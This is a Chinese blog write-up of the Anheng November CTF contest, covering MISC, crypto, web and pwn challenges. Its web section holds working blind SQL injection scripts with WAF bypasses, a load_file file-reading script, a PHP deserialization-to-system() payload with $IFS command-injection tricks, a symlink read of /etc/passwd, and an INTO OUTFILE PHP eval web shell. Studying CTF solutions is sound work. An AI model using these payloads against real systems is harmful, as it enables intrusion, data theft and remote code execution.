前言

hello 我好像已经一个多月没有更新博客了。<!--查看注释有惊喜-->

这次安恒的WEB题还是挺不错的,MISC就不说什么了,脑洞有点大。但是自己太菜了不是很做的来。之后会再周周练里面补上,所以先写个不完整版本。

MISC 1

题目是这样子的

中华文化博大精深,近日在教小外甥学习1-110之间的数字,可是小外甥比较调皮,不好好学,于是灵机一动,想到一个容易记忆,并且还可以识字的好办法,你知道我想出了什么办法吗?下边是在教外甥学习的一部分内容,你知道分别代表什么意思吗?


(企鹅,青蛙,油漆,花旗参,救生圈,油漆,二胡,二石,漏斗,二石,二石,冰淇淋,漏斗,喇叭 ,油漆,冰淇淋,鹅卵石,21世纪,耳机,油漆,耳机,二石,二胡,耳机,21世纪,企鹅,二流子,二石,要发 ,二石,冰淇淋,冰淇淋,油漆,冰淇淋,企鹅,乔丹,二石,酒壶)

好吧,查了下下面这几个字,发现是110数字编码。也不知道哪个神仙想出来的。总之是一种谐音的替换密码
解密脚本如下

num_list =["企鹅","青蛙","油漆","花旗参","救生圈","油漆","二胡","二石","漏斗","二石","二石","冰淇淋","漏斗","喇叭 ","油漆","冰淇淋","鹅卵石","21世纪","耳机","油漆","耳机","二石","二胡","耳机","21世纪","企鹅","二流子","二石","要发 ","二石","冰淇淋","冰淇淋","油漆","冰淇淋","企鹅","乔丹","二石","酒壶"]
# flag 
# from pprint import pprint
# num_dict = {}
# for i in num_list:
#   if i in num_dict.keys():
#       num_dict[i]+=1
#   else:
#       num_dict[i]=1

# pprint(num_dict)

num_dict = {
 '21世纪': 21,# esj
 '乔丹': 23,
 '二流子': 26,
 '二石': 20,
 '二胡': 25,#eh
 '企鹅': 72,#qe
 '冰淇淋': 70,#bjl
 '喇叭 ': 68,#lb
 '救生圈': 93,#jsq
 '油漆': 67,#yq
 '漏斗': 69,#ld
 '耳机': 27,#ej
 '花旗参': 73,#hqs
 '要发 ': 18,#yf
 '酒壶': 95,#jh
 '青蛙': 78,#qw
 '鹅卵石': 24}#els

result_list=[]
result_string=""
for i in num_list:
    result_list.append(num_dict[i])
    result_string+=chr(num_dict[i]+30)
print(result_list)
print(result_string)

每个中文对应什么内容都是查得到的。最后得到的前四个数字的ASCII,和flag的ASCII差30,加上30就是FLAG了。

MISC 2

辣鸡题目,不想做

MISC 3 吃个鸡

压缩包的提示

rederick说:“你知道一款可以将某个文件的二进制与任何媒体文件(.avi,.jpg,.mp3,.mp4,.pdf,.png)合并的工具吗?”

实际上这个软件是 DeEgger,利用该软件读取视频,解压出来一个奇怪的图片如下

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

解 Maxi Code

在线识别地址
https://zxing.org/w/decode.jspx

看到IEND,发现这是个PNG图像,解密得到如下内容

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

flag{cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic

更具上述字母的特征,能发现这是个 bubblebabble编码。【看了wp才知道,我说为啥咋提交都不对...】

Bubble Babble Binary Data Encoding是由Antti Huima創建的一種編碼方法,可以把二進制信息表示為由交替的元音和輔音組成的偽詞(pseudo-words),主要用於密碼指紋,其編碼也具有內置的糾錯和宂餘。編碼格式每5個字符中間以-來分隔,作者的原意就是想把難以記得的二進制數據表示為難忘的偽詞。
—————— from https://hk.saowen.com/a/3e69c3286a7cae5b0d65e1a1b2cc9665187f362010a5c7fb9ff23dd24aa46804

另外也可以发现这种编码的开头和结尾都是x,所以把开头和结尾改成x解密即可

xevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexix

》》 9b8ef422402319be

解 Base64

很明显这不是一段完整的flag,在图像的最后有一段B64
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

20526e189b2287a6}

连起来就是flag了。

Crypto1 仿射

仿射密码,直接解即可
http://ctf.ssleye.com/affine.html

Crypto2 简单的密码2

TODO
原理看懂了,等周周练的时候把解题过程放上去。

WEB 1 手速要快

原题,不说了

WEB 2 好黑的黑名单

看了WP才知道是用between 来注入,感觉自己对盲注的认知还是有点少x

WAF s

测试下来,大概的waf如下。【存在waf则会出现 这么坏?想让我下面给你吃吗?XD】这是我之前测试的时候写的,发现逻辑符号,sleep,exp等被过滤了之后自己就有点懵了不知道咋做。

  • UNION SELECT,update,delete等
  • LIKE substr group_concat
  • 逻辑符号如 <>#|&
  • sleep 和 benchmark
  • information.tables
  • 空格和/**/ 空格可以用 %0a绕过 这是一个整型注入

官方的waf如下所示:
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

BETWEEN 盲注

大概的玩法是这样子的。当然字符可以用16进制替换。

mysql> select database() between 'te' and 'tf';
+----------------------------------+
| database() between 'te' and 'tf' |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'tf' and 'tg';
+----------------------------------+
| database() between 'tf' and 'tg' |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (0.00 sec)

注入点

http://101.71.29.5:10008/show.php?id=1%0aand%0a1

这样是可以正常回显的,可见是个整形判断。

爆库

        payload = "1 and (select ((select database()) between {space_1} and {space_2}))"

爆表

        payload = "1 and (select ((select group_concat(table_name) from information_schema%0a.tables where table_schema between 0x574541 and 0x574542) between {space_1} and {space_2}))"

爆列

        payload = "1 and (select ((select group_concat(column_name) from information_schema%0a.columns where table_name between 0x464c41474747 and 0x464c41474748) between {space_1} and {space_2}))"

爆数据

        payload = "1 and (select (select f1agg from flaggg) between {space_1} and {space_2})"

完整脚本

import requests 
# http://101.71.29.5:10008/show.php?id=1%0aand%0a1
import struct
import binascii

class EXP(object):
    def __init__(self):
        self.url  = "http://101.71.29.5:10008/show.php?id="

    def spaceTO0x0a(self,strings):
        return strings.replace(" ","%0a")

    def str_to_hex(self,s):
        return '0x'+binascii.b2a_hex(s.encode()).decode()

    def pwning_database(self):
        payload = "1 and (select ((select database()) between {space_1} and {space_2}))"
        database = ''
        print("Start to retrive the database")
        for i in range(1, 4):
            for j in range(32,127):
                sending_data = self.url+self.spaceTO0x0a(payload.format(space_1=self.str_to_hex(database+chr(j)),space_2=self.str_to_hex(database+chr(j+1))))
                result = requests.get(url=sending_data).text
                # print(sending_data)
                # print(result)
                if "郑州" in result:
                    database+=chr(j)
                    print("the database is :%s" % database)
                    break


    def pwning_tables(self):
        # select table_name from information_schema.tables where table_schema=database()
# the table is :ADMIN,FLAGGG,MENT
        payload = "1 and (select ((select group_concat(table_name) from information_schema%0a.tables where table_schema between 0x574541 and 0x574542) between {space_1} and {space_2}))"
        database = ''
        print("Start to retrive the table")
        for i in range(1, 30):
            for j in range(32,127):
                sending_data = self.url+self.spaceTO0x0a(payload.format(space_1=self.str_to_hex(database+chr(j)),space_2=self.str_to_hex(database+chr(j+1))))
                result = requests.get(url=sending_data).text
                # print(sending_data)
                # print(result)
                if "郑州" in result:
                    database+=chr(j)
                    print("the table is :%s" % database)
                    break

    def pwning_columns(self):
# the columns is :ID,F1AGF
        # select column_name from information_schema.columns where table_name
        payload = "1 and (select ((select group_concat(column_name) from information_schema%0a.columns where table_name between 0x464c41474747 and 0x464c41474748) between {space_1} and {space_2}))"
        database = ''
        print("Start to retrive the columns")
        for i in range(1, 30):
            for j in range(32,127):
                sending_data = self.url+self.spaceTO0x0a(payload.format(space_1=self.str_to_hex(database+chr(j)),space_2=self.str_to_hex(database+chr(j+1))))
                result = requests.get(url=sending_data).text
                # print(sending_data)
                # print(result)
                if "郑州" in result:
                    database+=chr(j)
                    print("the columns is :%s" % database)
                    break

    def pwning_datas(self):
        payload = "1 and (select (select f1agg from flaggg) between {space_1} and {space_2})"
        database = ''
        print("Start to retrive the datas")
        for i in range(1, 50):
            for j in range(32,127):
                sending_data = self.url+self.spaceTO0x0a(payload.format(space_1=self.str_to_hex(database+chr(j)),space_2=self.str_to_hex(database+chr(j+1))))
                result = requests.get(url=sending_data).text
                # print(sending_data)
                # print(result)
                if "郑州" in result:
                    database+=chr(j)
                    print("the datas is :%s" % database)
                    break


def main():
    EXP().pwning_database()
    EXP().pwning_tables()
    EXP().pwning_columns()
    EXP().pwning_datas()


if __name__ == '__main__':
    main()

WEB 3 EZSHOP

居然是直接loadfile的,翻空了数据库发现没啥卵用...册那...

fuzz 过滤参数

不难发现 union sleep into 等关键参数被换成了@@,引号被加了斜杠,一开始想到是宽字节注入,其实并非如此。直接整形注入即可。而字符串则需要用hex编码。
这也就意味着不能用空格,但是like可以用。

存在注入的ID参数

在id参数可以进行盲注,结果如下

http://101.71.29.5:10015/user/user.php?id=64-(if(0,1,0))
USER ID 64
http://101.71.29.5:10015/user/user.php?id=64-(if(1,1,0))
USER ID 63

load_file 读取文件

之后就是用load_file来读取文件的源码,速度不是很快,需要有点耐心一点一点把文件用16进制读取出来,脚本如下:

import requests
import binascii

class EXP(object):
    def __init__(self):
        self.url = "http://101.71.29.5:10015/user/user.php?id="
        self.PHPSESSID = "55fvrvmmf06c1o3hi9i0ap7vr1"
        self.payload = "64-(if(hex(load_file({file_path_hex}))like({hex_number}),1,0))"

    def str_to_hex(self,s):
        return '0x'+binascii.b2a_hex(s.encode()).decode()

    def save_in_file(self,s):
        file = open('config.php','wb')
        s=s.encode()
        file.write(s)
        file.close()

    def pwning_file(self):
        r = requests.Session()
        file_path = '/var/www/html/config/config.php'
        file_content = ""
        while 1:
            content_len=file_content.__len__()
            for i in range(32,127):
                if i ==0x25:
                    continue
                url=self.url+self.payload.format(file_path_hex=self.str_to_hex(file_path),hex_number=self.str_to_hex(file_content +chr(i)+"%"))
                result = r.get(url=url,cookies={'PHPSESSID':self.PHPSESSID})
                # print(url)
                if '63' in result.text:
                    file_content+=chr(i)
                    print(file_content)
                    break
            if content_len == file_content.__len__():
                print(file_content)
                self.save_in_file(file_content)
                exit()

def main():
    EXP().pwning_file()

if __name__ == '__main__':
    main()

文件源码分析

index.php
关键代码如下:

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
    $config = $_COOKIE['CONFIG'];
    require_once('config/config.php');
}
?>

config.php
关键代码如下

$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}
class Config{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['config'])?$_POST['config']:"";
        }
    }
    public function SetFilter($value){
//        echo $value;
    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }
}

在sys_config下可以找到include_once('waf.php');继续追踪,这个里面有着函数waf_exec的信息
waf.php

<?php

    function waf($str){
        $black_str = "/(and|into|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
        $str = preg_replace($black_str, "@@",$str);
        return addslashes($str);
    }

    function waf_exec($str){
    $black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";
        $str = preg_replace($black_str, "",$str);
        return $str;
    }

?>

payload

分析config.php中的关键代码。我们发现传了一个CONFIG的cookie,内容是序列化后的内容。而config类中有call_user_function 可以直接执行system函数。

具体流程就是,在反序列化后,config获取p的值,执行__get()函数,其内调用SetFilter函数,最终执行命令。

$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}

对此,写出对应的config。

$config = new Config()
$config->$filter=array('system');
echo base64_encode(serialize($config))

得到结果

Tzo2OiJDb25maWciOjQ6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjtOO3M6MDoiIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

绕过与getflag

之后的内容就比较简单了。

用 $IFS 绕过空格
expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1 绕过/

写了个小脚本如下:

space = "$IFS"
slash = "expr$IFS\\substr\\$IFS\\$(pwd)\\$IFS\\1\\$IFS\\1"

def c(s):
    return s.replace("/",slash).replace(' ',space)

最终payload:

http://101.71.29.5:10015/index.php?p=cat$IFSflag2333expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1flag.php

WEB 4 Interesting WEB

这是一个pyweb。一开始是一个普通用户,肯定是要通过一些手段来提权为管理员,上传tar文件。

在找回密码的地方有可利用点,写了自己的VPS,然后监听,可以发现token已经发送过来了
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
尽管有了token,但是重置的还是管理员的密码。如何操作呢?

BECOME ADMIN !

利用点在session文件中,flask的session文件可以直接解密,得到的内容如下。可以看到token就放在这边。

root@kali:~/web# python session_exp.py decode eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJZelptT1RsbE9UY3pNamcxTUdRd05qWTRaakF5TXpZelpUYzVOR1l6TXpBPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dt-uvg.dRXCHoMAKe6iukC_YwJoQvhCP-s
{"login":true,"token":{" b":"YzZmOTllOTczMjg1MGQwNjY4ZjAyMzYzZTc5NGYzMzA="},"username":"admin"}
root@kali:~/web# ls
app  pyweb.sql  server.py  session_exp.py
root@kali:~/web# python 
Python 2.7.15 (default, May  1 2018, 05:55:50) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode("YzZmOTllOTczMjg1MGQwNjY4ZjAyMzYzZTc5NGYzMzA=")
'c6f99e9732850d0668f02363e794f330'

脚本如下,网上随便嫖了一个,有一行多加了个s,记得改一下。
session_cookie_manager.py

软连接文件读取文件

之后,就是用tar来读取文件。我们可以测试一下,在上传一个tar包后,会提示内容放在 ./download/xxx.jpg中。也就是说文件会被解压为 xxx.jpg,并且该图片是能够正常访问的。(需要用原来的文件名字)

这是 pyweb 利用思路也许会更加苛刻。但是可以用软连接来实现任意文件读取,

ln -s /etc/passwd 2.jpg
tar cvfp 2.tar 2.jpg

这样就能够读取文件了。当然需要用curl来读取,不要用浏览器

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog


WEB 5 Write A Shell

居然是多行注入...想不到想不到

EXECUTE 子句

正好最近在学数据库原理。赶紧搞一下。

实际上,SQL可以执行一些预定义的语句,需要先SET 一个变量,之后PREPARE 来准备语句,利用 EXECUTE 执行。

mysql> SET @A="SELECT database()";
Query OK, 0 rows affected (0.00 sec)

mysql> PREPARE st FROM  @A;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> EXECUTE st;
+------------+
| database() |
+------------+
| WEB        |
+------------+

当然,可以用准备过的sql语句,如下所示。

mysql> SET @a = "SELECT 1,?,? as shaobao";
Query OK, 0 rows affected (0.00 sec)

mysql> PREPARE st FROM @a;

mysql> SET @a=10;
Query OK, 0 rows affected (0.00 sec)

mysql> SET @b=11;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE st USING @a,@b;
+---+----+---------+
| 1 | ?  | shaobao |
+---+----+---------+
| 1 | 10 | 11      |
+---+----+---------+
1 row in set (0.00 sec)

多行注入脱裤

发现加个分号正常执行,这就是一个很典型的多行注入了。当初没有向这个方向去思考。
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

之后,就是绕过各种waf了,首先单引号之类的全部被加了 slash。但是可以用concat(char()..)的形式绕过。
此外各种关键词被替换成了 @@ 所幸的是 SELECT EXEC AS 子句还是可以使用的。
最后是一些逻辑运算符号,比如^&*%$被换成了@,但是可以利用这个特性去构造变量符号@

import requests 

Query0 = "SET ^a="
Query1_raw = "SELECT 1,2,3,4,5"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"

tmp_str = ""
for i in Query1_raw:
    tmp_str+="CHAR({}),".format(ord(i))

print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)

想要注入的轻松,脚本就要这么写。我们发现 select 1,2,3,4,5能够成功执行
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

Web Shell

之后就是各种查询了,题目提示是写shell,那么就要有写权限。

查询当前用户的权限。可以打开pma看一眼
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

好的,目标很明确,语句应该如下所示:

SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'
+--------------------+----------------+---+---+--------------+
| GRANTEE            | PRIVILEGE_TYPE | 3 | 4 | IS_GRANTABLE |
+--------------------+----------------+---+---+--------------+
| 'root'@'localhost' | FILE           | 3 | 4 | YES          |
+--------------------+----------------+---+---+--------------+

user_id:'ctf666'@'localhost'

user_name:FILE

注册时间:NO

之后查询文件写的路径

mysql> show variables like "%secure_file_priv%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv | c:\wamp64\tmp\ |
+------------------+----------------+

user_id:secure_file_priv

user_name:/var/www/

注册时间:

最后写文件,我们发现头像目录是可写的,最终结果如下

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

完整脚本如下:

import requests 

Query0 = "SET ^a="
# Query1_raw = "SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'"
# Query1_raw = "show variables like '%secure_file_priv%'"
Query1_raw = "SELECT '<?php eval($_POST['h']);?>' into outfile '/var/www/html/favicon/shaobao.php'"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"

tmp_str = ""
for i in Query1_raw:
    tmp_str+="CHAR({}),".format(ord(i))

print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)

WEB 6 IMAGE UP

在登陆页面,能够看到是 index.php?page=login的形式,想到filter读取源码

/index.php?page=php://filter/read=convert.base64-encode/resource=upload

在上传页面能够找到我们想要的东西

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "ä¸Šä¼ æˆåŠŸ!";
            }
        else{
            $error = "ä¸Šä¼ å¤±è´¥ï¼";
        }

        }else{
          $error = "æ–‡ä»¶è¿‡å¤§ï¼Œä¸Šä¼ å¤±è´¥ï¼";
        }
    }

?>

分析一下代码可知,文件被放到了一个 由时间戳—+文件名md5的一个文件夹下,自然是可以爆破路径的。
而文件的后缀名被强行要求为 jpg png等格式,想到之前可以用 filer。自然也可以用zip,phar等伪协议去包含它。我最后做出来的时候比赛马上结束了,还各种卡死,截图并没有截到....

关于ZIP的知识,之前在大美西安的那道题目里用到过,这边再写一下。

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

大概的格式如下:

zip://<zip文件路径>%23<zip文件内部的路径>
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23

当然这里用phar也是可以的。差别就是一个是 %23 一个是 斜杠

http://192.168.25.132/test/hackme.php?page=phar://./shell.jpg/test.php

PWN 1 Moongarden

映照队友的要求,把他的WP发上来了

Moongarden是一道堆题,由于free没有置零,所以可以使用double free。
思路:使用可控大小的chunk来泄露libc地址,用double free来把one_gadget地址放置到malloc_free上,最后两次free同一chunk的错误来调用malloc,同时满足one_gadget的条件,提shell成功。

1.在add()板块里

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
可以了解结构大致为:

Struct flowerlist{//大小为0x28
Int a;
(struct)* Name;//大小可控
Char* color;
}

2.visit()函数

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
虽然可以显示所有的chunk内容,但被释放的无法显示,无法free后泄露地址。

3.del函数

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
可以看到,重要的int数仅仅置零,没有检验,指针也没有置零,使用double free漏洞。

Clean函数没用,就不分析了。

4.泄露地址

在使用unsorted来泄露地址时,只要libc地址就行,所以只要一个就行,做时还想泄露heap地址,所以申请了两个chunk。(大于0x90就行,但不要太大)。
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

不过注意,scanf输入后会加个’\x0a’,所以上图的fd就有点不一样,但地址随机化时,最低三位不变,所以不要紧,一样可以计算。

5.double free的使用

网上有很多讲解的,比如how2heap系列,这里主讲思路。。。
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
上图,可以看见free的chunk在0x70的fastbin里,当重新申请0x16dd2a0时,可以把fd覆盖成想要任意写入的地址。(这里注意,这个chunk是name那个chunk)
如下图0x7f02acfbfafc所显示是’\x7f’,所以申请的fastbin是0x60(或0x68),fastbin的检验比较简单(指2.23版本,之后版本什么妖魔鬼怪就再说了),就检查大小是否符合,并且不精准,这是为了保护后三位符号位。
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

6.one_gadget的使用

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog
虽然one_gadget使用比sys要方便(sys要两个地址连用),但是也有限制条件,这条需要rsp+0x50是0地址。
所以,现在虽然覆盖了malloc_hook(调用malloc函数时,先调用malloc_hook),但无法使用,最后发现两次free时可以满足条件。(前人发现的,我就借用结论了)
由下图可知,rsp+0x50的地址已是没有了。
安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog

7.最后exp献上

安恒杯 11月赛 WP-ShaoBaoBaoEr's Blog